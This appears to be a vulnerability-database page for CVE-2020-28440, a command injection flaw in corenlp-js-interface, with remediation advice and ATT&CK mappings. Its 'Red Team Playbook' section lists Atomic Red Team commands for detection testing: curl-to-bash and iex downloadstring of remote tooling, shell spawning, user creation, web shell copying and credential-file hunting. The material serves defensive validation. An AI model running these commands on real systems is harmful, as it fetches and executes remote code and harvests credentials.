CVE-2020-28440
Overview
The vulnerability in corenlp-js-interface is a command injection flaw rooted in improper input validation within the main function of the package. This flaw allows untrusted input to be executed as system commands due to the direct incorporation of user-supplied data into command execution routines. The affected component is the main function interface responsible for processing input parameters without adequate sanitization.
Vulnerability Description
All versions of package corenlp-js-interface are vulnerable to Command Injection via the main function.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary system commands on the host running corenlp-js-interface, leading to full compromise of confidentiality, integrity, and availability. Since the attack requires no user interaction and has a network attack vector with low complexity, it enables remote code execution with system-level privileges. This can result in data theft, service disruption, or lateral movement within the affected environment, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H.
Solution
Users should upgrade corenlp-js-interface to a patched version addressing the command injection vulnerability as specified in the Snyk advisory SNYK-JS-CORENLPJSINTERFACE-1050435. The advisory provides version details and remediation instructions. If upgrading is not immediately feasible, restricting network access to the service and implementing input validation workarounds may mitigate exploitation risk until the update is applied.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the corenlp-js-interface package is characterized by a command injection flaw that arises from improper handling of user-supplied input within its main function. This flaw allows an attacker to execute arbitrary commands on the host system where the application is running. The core issue lies in the lack of sufficient input validation and sanitization, which enables malicious actors to manipulate command execution paths. By crafting specific inputs, an attacker can inject commands that the application will execute with the same privileges as the user running the application, potentially leading to severe consequences.
Attack vectors for exploiting this vulnerability are diverse and can be executed in various ways. An attacker could leverage this flaw through web applications that utilize the corenlp-js-interface package, particularly if they can control input parameters. For instance, if the package is used in a web service that processes user data, an attacker could submit crafted requests that include malicious payloads. Once the application processes these inputs, it could inadvertently execute the injected commands, leading to unauthorized access, data exfiltration, or even complete system compromise. Furthermore, this vulnerability can be exploited remotely, increasing the attack surface for potential adversaries.
The real-world impact of this command injection vulnerability can be profound, especially for organizations relying on the corenlp-js-interface package for natural language processing tasks. Successful exploitation could lead to unauthorized access to sensitive data, manipulation of application behavior, or disruption of services. The business risks associated with such an incident include financial loss, reputational damage, and potential legal ramifications, particularly if the breach involves personal or sensitive information. Organizations may also face regulatory scrutiny, especially if they are subject to data protection laws that mandate strict security practices.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First, conducting a thorough inventory of all applications utilizing the corenlp-js-interface package is essential. Regular vulnerability assessments and penetration testing can help identify instances where the package is in use and evaluate the potential for exploitation. Additionally, implementing robust input validation and sanitization practices can significantly reduce the risk of command injection. Developers should ensure that any input processed by the main function is strictly validated against a whitelist of acceptable values, thereby preventing malicious commands from being executed.
Moreover, organizations should consider updating or patching the corenlp-js-interface package to a version that addresses this vulnerability, if available. Employing security tools such as web application firewalls (WAFs) can also provide an additional layer of protection by monitoring and filtering malicious traffic before it reaches the application. Finally, educating developers and security teams about secure coding practices and the importance of regular security reviews can foster a culture of security awareness, ultimately reducing the likelihood of similar vulnerabilities being introduced in the future. Through these strategies, organizations can better protect themselves against the risks posed by command injection vulnerabilities in their applications.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Corenlp-Js-Interface Project | Corenlp-Js-Interface | All |
cpe:2.3:a:corenlp-js-interface_project:corenlp-js-interface:*:*:*:*:*:node.js:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-28440 |
| snyk.io |
GitHub CVE
x_refsource_MISC
|
https://snyk.io/vuln/SNYK-JS-CORENLPJSINTERFACE-1050435 |